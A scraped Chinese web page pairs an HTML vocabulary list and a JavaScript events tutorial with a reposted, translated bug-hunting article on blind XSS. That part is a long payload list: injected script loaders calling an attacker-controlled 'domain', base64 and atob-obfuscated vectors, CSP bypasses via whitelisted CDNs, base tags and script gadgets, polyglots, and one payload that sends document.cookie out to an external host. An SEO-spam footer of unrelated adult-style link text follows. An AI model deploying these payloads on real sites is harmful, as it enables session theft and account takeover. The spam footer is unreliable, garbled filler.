整合營銷服務商

          電腦端+手機端+微信端=數據同步管理

          免費咨詢熱線:

          Html常用單詞

          Html常用單詞

          ay01

          • form:表單
          • action:行動(提交的路徑)
          • method:方法(提交的方式)
          • input:輸入
          • type:類型
          • text:文本(文本輸入項)
          • password:密碼
          • radio:單選按鈕
          • checkbox:復選框
          • file:文件(文件上傳項)
          • hidden:隱藏字段
          • reset:重置(重置按鈕)
          • button:按鈕(普通按鈕)
          • name:名稱(元素名稱)
          • value:值(輸入項的內容)
          • size:大小(可以是文字字體的大小,也可以是輸入框的寬度)
          • checked:被選中
          • readonly:只讀
          • disabled:不可用的
          • maxlength:最大長度(輸入框可以輸入的最大長度)
          • select:選擇(下拉列表項)
          • option:條目(下拉列表項)
          • textarea:區域(文本輸入域)
          • submit:提交(提交按鈕)
          • selected:選擇(下拉列表被選中)

          day02

          • style:樣式
          • color:顏色
          • font-size:字體大小
          • pink:粉紅色
          • gold:金黃色
          • gray:灰色
          • blue:藍色
          • red:紅色
          • yellow:黃色
          • black:黑色
          • white:白色
          • background-color:背景顏色

          day03

          • border:邊框
          • width:寬度
          • height:高度
          • margin:外邊距
          • padding:內邊距
          • float:浮動
          • clear:清除
          • none:無(元素不浮動)
          • left:左邊
          • right:右邊
          • both:都(同時)
          • display:顯示方式
          • block:顯示的(顯示為塊級元素)
          • inline:在一行(顯示為內聯元素)
          • div:塊級元素的區域
          • span:內聯元素的區域
          • element:元素
          • top:頂部
          • bottom:底部
          • product:產品,商品
          • header:頭部信息
          • menu:菜單
          • show:顯示
          • father:父親
          • big:大的
          • small:小的

          day04

          • document:文檔
          • check:檢查
          • change:改變
          • init:初始化
          • history:歷史
          • alert:警告框
          • confirm:確認框
          • prompt:輸入框
          • function:功能(函數)
          • click:點擊
          • back:返回
          • tips:提示
          • info:信息
          • onfocus:聚焦
          • onblur:離焦
          • location:位置
          • screen:屏幕
          • navigator:導航(瀏覽器相關信息)

          day05

          • onmouseover:鼠標移入
          • onmouseout:鼠標移出
          • attribute:屬性
          • node:節點
          • document:文檔
          • element:元素
          • textNode:文本節點
          • append:追加

          avaScript與HTML交互是通過在用戶或瀏覽器操縱頁面上發生的事件進行處理。

          當頁面加載,這是一個事件。當用戶點擊一個按鈕,這一下,也就是一個事件。事件的另一個例子是類似按下任意鍵,關閉窗口,調整窗口等。

          開發者可以使用這些事件執行JavaScript編碼響應,這引起按鈕以關閉視窗,消息,以便顯示給用戶,要驗證的數據,以及幾乎任何其它類型的響應可以發生的。

          事件是文檔對象模型(DOM)第3級,每一個HTML元素的一部分有一套可以觸發JavaScript代碼事件。

          onclick事件類型:

          這是當用戶點擊鼠標左鍵時發生的最頻繁使用的事件類型。可以針對此事件類型把驗證信息,警告等顯示。

          例子:

          <html>
          <head>
          <script type="text/javascript">
          <!--
          function sayHello() {
             alert("Hello World")
          }
          //-->
          </script>
          </head>
          <body>
          <input type="button" onclick="sayHello()" value="Say Hello" />
          </body>
          </html>
          123456789101112131415復制代碼類型:[javascript]

          這將產生以下結果,當你點擊“Hello”按鈕,然后會的onclick事件的發生將觸發sayHello()函數。

          onsubmit 事件類型:

          另一個最重要的事件類型是 onsubmit。當嘗試提交表單時引發此事件。所以,可以把表單驗證針對此事件類型。

          下面是簡單的例子,說明它的用法。在這里,我們提交表單數據到Web服務器之前,調用一個validate()函數。如果表單將被提交的validate()函數返回true,否則不會提交數據。

          例子:

          <html>
          <head>
          <script type="text/javascript">
          <!--
          function validation() {
             all validation goes here
             .........
             return either true or false
          }
          //-->
          </script>
          </head>
          <body>
          <form method="POST" action="t.cgi" onsubmit="return validate()">
          .......
          <input type="submit" value="Submit" />
          </form>
          </body>
          </html>
          
          123456789101112131415161718192021復制代碼類型:[javascript]

          onmouseover 和 onmouseout:

          這兩個事件類型將幫助創建圖片甚至用文字以及不錯的效果。當把鼠標在任何元素,當從元素把鼠標移出發生onmouseout事件,移過時發生 onmouseover 事件。

          例子:

          下面的例子說明,分組反應如下:

          <html>
          <head>
          <script type="text/javascript">
          <!--
          function over() {
             alert("Mouse Over");
          }
          function out() {
             alert("Mouse Out");
          }
          //-->
          </script>
          </head>
          <body>
          <div onmouseover="over()" onmouseout="out()">
          <h2> This is inside the division </h2>
          </div>
          </body>
          </html>
          
          123456789101112131415161718192021復制代碼類型:[javascript]

          可以使用這兩個事件類型改變不同的圖像,也可以創建幫助你的用戶。

          HTML 4 標準事件

          標準的HTML4事件列在這里,供大家參考。下面的腳本顯示一個Javascript函數功能以對該事件執行。

          Event

          Value

          描述

          onchange

          script

          腳本運行時的元素改變

          onsubmit

          script

          腳本時提交表單運行

          onreset

          script

          腳本運行時的形式被重置

          onselect

          script

          腳本當選擇元素運行

          onblur

          script

          腳本運行時的元素失去焦點

          onfocus

          script

          腳本運行時的元素獲得焦點

          onkeydown

          script

          腳本的時候鍵被按下運行

          onkeypress

          script

          腳本的時候鍵被按下并釋放運行

          onkeyup

          script

          腳本的時候鍵被釋放運行

          onclick

          script

          腳本運行時,用鼠標點擊

          ondblclick

          script

          腳本運行時,鼠標雙擊

          onmousedown

          script

          腳本的時候按下鼠標按鈕運行

          onmousemove

          script

          腳本運行時鼠標指針移動

          onmouseout

          script

          腳本運行時鼠標指針移出元素

          onmouseover

          script

          腳本運行時鼠標指針掠過元素

          onmouseup

          script

          腳本時釋放鼠標按鍵運行


          開課吧廣場-人才學習交流平臺

          挖掘安全漏洞的時候,我們往往不能面面俱到,會錯過某些系統功能,導致漏洞被遺漏。這在尋找Blind Cross-Site-scripting (bXSS)時更是如此。

          去年我曾寫過一篇關于AngularJS bXSS的文章,分享我是如何利用AngularJS去進行bXSS攻擊。而在這篇文章中,我想分享更多可用來檢測bXSS的各種payload,希望能有效挖掘出后端系統中未曾被發現的bXSS。除此之外,我還想以自動化的方式進行檢測,因此所提出的payload既可以在Burp中使用,也可以在xsshunter或其他bXSS自動化掃描工具中使用。

          驗證bXSS

          在大多數情況下,確認bXSS存在的最簡單的方法就插入一張“圖像”,等待其渲染,捕獲注入點。當然,有時網站會針對img-src部署嚴格的內容安全策略(CSP),禁止從任意域加載圖像。

          <!-- Image for HTTP Interaction -->
          "><img src='//domain/xss'>
          

          而像Angular和AngularJS這樣的框架,也肯定會清除不可信數據,雖然會保留和圖像有關的HTML代碼,但會移除event處理代碼。這就有點像是HTML注入。此時基于img-src的攻擊不太可能會生效,因為我們所控制的域不太可能通過白名單過濾。

          下一種payload是更傳統的引用外部javascript,利用第三方腳本來進行攻擊,這種原始的方式有時也能生效:

          <!-- External javascript -->
          "><script src="http://domain/xss.js"></script>
          

          javascript URIS也可以用于React應用,任何輸入都可以查入到href路徑中:

          // javascript URI
          javascript:eval('d=document; _=d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)');
          

          另一種方法是在href標簽中注入包括javascript URI在內的任意HTML。

          <!-- javascript URI in a href -->
          "><a href="javascript:eval('d=document; _=d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">Click Me For An Awesome Time</a>
          

          現在,讓我們看看瀏覽器中有哪些我們可以利用的部分,SVG、HTML5、event handlers和CSS。

          而網站HTML5Sec.org也許能在這方面給你更明確的提示,它包含了大量的payload,可用來構建bXSS。

          <!-- html5sec - Self-executing focus event via autofocus: -->
          "><input onfocus="eval('d=document; _=d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')" autofocus>
          <!-- html5sec - javascript execution via iframe and onload -->
          "><iframe onload="eval('d=document; _=d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')"> 
          <!-- html5sec - SVG tags allow code to be executed with onload without any other elements. -->
          "><svg onload="javascript:eval('d=document; _=d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')" xm lns="http://www.w3.org/2000/svg"></svg>
          <!-- html5sec - allow error handlers in <SOURCE> tags if encapsulated by a <VIDEO> tag. The same works for <AUDIO> tags -->
          "><video><source onerror="eval('d=document; _=d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">
          <!-- html5sec - eventhandler - element fires an "onpageshow" event without user interaction on all modern browsers. This can be abused to bypass blacklists as the event is not very well known. -->
          "><body onpageshow="eval('d=document; _=d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">
          

          Matthew Byrant也為xsshunter編寫了一些非常棒的payload,對于將某些惡意字符列入黑名單或使用jQuery的應用非常有效。

          <!-- xsshunter.com - Sites that use JQuery -->
          <script>$.getscript("http://domain")</script>
          <!-- xsshunter.com - When <script> is filtered -->
          "><img src=x id=payload==onerror=eval(atob(this.id))>
          <!-- xsshunter.com - Bypassing poorly designed systems with autofocus -->
          "><input onfocus=eval(atob(this.id)) id=payload==autofocus>
          

          到目前為止,我們已經有了圖像、外部javascript、javascript URI、a href、event handlers、SVG、JQuery等多種payload形式,并且我前期也介紹過基于AngularJS的bXSS;你還可以從諸如html5sec、Ed’s bug bounty-cheatsheet等大量網站中獲得足夠多的payload。

          CSP

          很久以前,瀏覽器的開發團隊就引入了一些安全性控制,并且越來越強大,越來越復雜。在某些情況下,即使存在注入,但由于存在CSP,payload也無法生效!即使只是圖片,來源不明的也不會加載。

          好消息是有各種各樣的CSP繞過。Lukas and Michelle的文章中記錄了繞過CSP的各種方法。

          不同的站點的CSP往往不同(當然有些網站可能會使用通用的模式),你可以把你的目標網站放到csp-evaluator.withgoogle.com中進行查詢,它會給你一些注入建議。


          需要注意的是,CSP并不是用來防止用戶數據泄露,只是用來定義應該加載和執行哪些域的資源。
          

          讓我們看看CSP在AngularJS是如何工作的:

          <!-- Adapted from Gareth Heyes/sirdarkcat -->
          <!DOCTYPE html>
          <html lang="en">
          <head>
           <meta http-equiv=content-security-policy content="object-src 'none';script-src 'nonce-secret';">
           <script nonce=secret src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script>
          </head>
          <body>
           <div ng-app ng-csp>
          <textarea autofocus
           ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH?exfil='+$event.view.encodeURI(d.domain+';'+d.cookie)"></textarea>
           </div>
          </body>
          </html>
          

          可能會有部分敏感信息傳輸到你所控制的域中。


          CDN

          CSP中列入白名單的CDN地址是攻擊者的主要利用目標之一,過去已有多起因白名單中的CDN被濫用而導致的CSP繞過的事件。因此,我們可以先收集CSP中的CDN名單,利用某些低版本框架(例如AngularJS的模板注入)實現bXSS注入。

          "><script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.1/angular.js"></script>
          <script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script>
          <!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
          <div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></di v>
          

          base-src

          base標簽也是我們可以利用的對象,它會把下面加載的所有腳本重定向到第三方網站!而且還包括有效的CSP nonce!

          <!-- will change https://example.com/scripts/foo.js to https://domain/scripts/foo.js -->
          "><base href="http://domain">
          <script nonce='secret' src='./scripts/foo.js'></script>
          

          你需要做的就是配置好你的服務器,讓特定通配符對應相應payload。



          object-src

          CSP的一個常見問題就是當object-src未被定義時,可以利用embed,object或applet進行繞過,當然,由于瀏覽器安全性的改進,這些標簽利用都變得很困難。

          <!-- object-src is relaxed or missing adapted from https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it%27s-CSP!%22 -->
          "><embed src='//ajax.googleapis.com/ajax/libs/yui/2.8.0r4/build/charts/assets/charts.swf?allowedDomain="})))}catch (e) { d=document; d.location.hash.match(`x1`) ? `` : d.location=`//localhost/mH`}//' allowscriptaccess=always>
          "><object data='//ajax.googleapis.com/ajax/libs/yui/2.8.0r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch (e) { d=document; d.location.hash.match(`x1`) ? `` : d.location=`//localhost/mH`}//' allowscriptaccess=always>
          

          script-src

          如果CSP策略對于script-src允許HTTPS、*、data等,則很容易繞過:

          <!-- data scheme or wildcard in script-src -->
          "><script src=data:text/javascript;base64,ZD1kb2N1bWVudDsgXyA9IGQuY3JlYXRlRWxlbWVudCgnc2NyaXB0Jyk7Xy5pZD0nMTknO18ubm9uY2U9ZC5xdWVyeVNlbGVjdG9yKCdbbm9uY2VdJykubm9uY2U7Xy5zcmM9Jy8vbG9jYWxob3N0L20nO2QuYm9keS5hcHBlbmRDaGlsZChfKSA=></script>
          <!-- https:// in script-src -->
          "><script src='https://domain'></script>
          

          script Gadgets

          谷歌團隊在2017年發布了關于script Gadgets的研究,其中介紹了繞過CSP的新方法。簡單來說,就是script Gadgetst是合法的javascript代碼,但可以用來實現HTML注入。這意味著像AngularJS、Vue、Aurelia等庫/框架,都可用來進行bXSS攻擊。script Gadgets由于其合法性,可被用來繞過CSP、XSS過濾器和WAF等。

          <!-- Google Research - AngularJS -->
          <div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
          <!-- Google Research - Vue.js-->
          "><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div>
          

          payload列表可以通過谷歌團隊的研究進一步擴展,其中涉及各種庫和框架的多種利用方式。

          適用多種場景的payload

          考慮到注入代碼可能出現在多種不同的場景下,我們需要使用可適用多種場景的payload。Mathias Karlsson的一篇文章詳細介紹了如何創建多場景的payload,這可能是發現隱藏的bXSS的關鍵。

          // Gareth Heyes - https://twitter.com/garethheyes

          javascript:/*--></title></style></textarea></script></xmp><svg/onload='+/"/+/onmouseover=1/+/[*/[]/+document.location=`//localhost/mH`//'>

          // clrf - http://polyglot.innerht.ml/

          javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*<svg/*/onload=document.location=`//localhost/mH`//>

          感謝你的閱讀!

          本文由白帽匯整理并翻譯,不代表白帽匯任何觀點和立場

          來源:https://nosec.org/home/detail/2801.html

          原文:https://ardern.io/2019/06/20/payload-bxss/

          白帽匯從事信息安全,專注于安全大數據、企業威脅情報。

          公司產品:FOFA-網絡空間安全搜索引擎、FOEYE-網絡空間檢索系統、NOSEC-安全訊息平臺。

          為您提供:網絡空間測繪、企業資產收集、企業威脅情報、應急響應服務。


          主站蜘蛛池模板: 一区二区视频在线观看| 亚洲线精品一区二区三区 | 国产一区二区三区福利| 中文字幕乱码人妻一区二区三区| 国产AV午夜精品一区二区入口| 亚洲国产日韩在线一区| 国产一区二区中文字幕| 制服丝袜一区在线| 人妻AV中文字幕一区二区三区| 亚洲AV综合色区无码一区爱AV| 久久精品无码一区二区app | 中文字幕一区精品| 国产成人精品一区二三区| 无码一区二区三区AV免费| 中文字幕在线一区二区在线| 精品一区二区三区| 亚洲丰满熟女一区二区哦| 中文字幕一区二区三区永久| 综合激情区视频一区视频二区| 国产福利一区视频| 日韩精品无码人妻一区二区三区| 精品久久久久久无码中文字幕一区 | 日本韩国一区二区三区| 中文字幕一区在线| 波霸影院一区二区| 亚洲一区二区三区自拍公司| 91亚洲一区二区在线观看不卡| 在线日产精品一区| 相泽南亚洲一区二区在线播放| 一区国严二区亚洲三区| 波多野结衣电影区一区二区三区| 一级毛片完整版免费播放一区| 91久久精一区二区三区大全| 怡红院一区二区三区| 丰满岳妇乱一区二区三区| 麻豆AV一区二区三区久久| 国产嫖妓一区二区三区无码| 国产乱码伦精品一区二区三区麻豆| 欧美激情国产精品视频一区二区 | 亚洲av无码片vr一区二区三区| 亚洲区精品久久一区二区三区|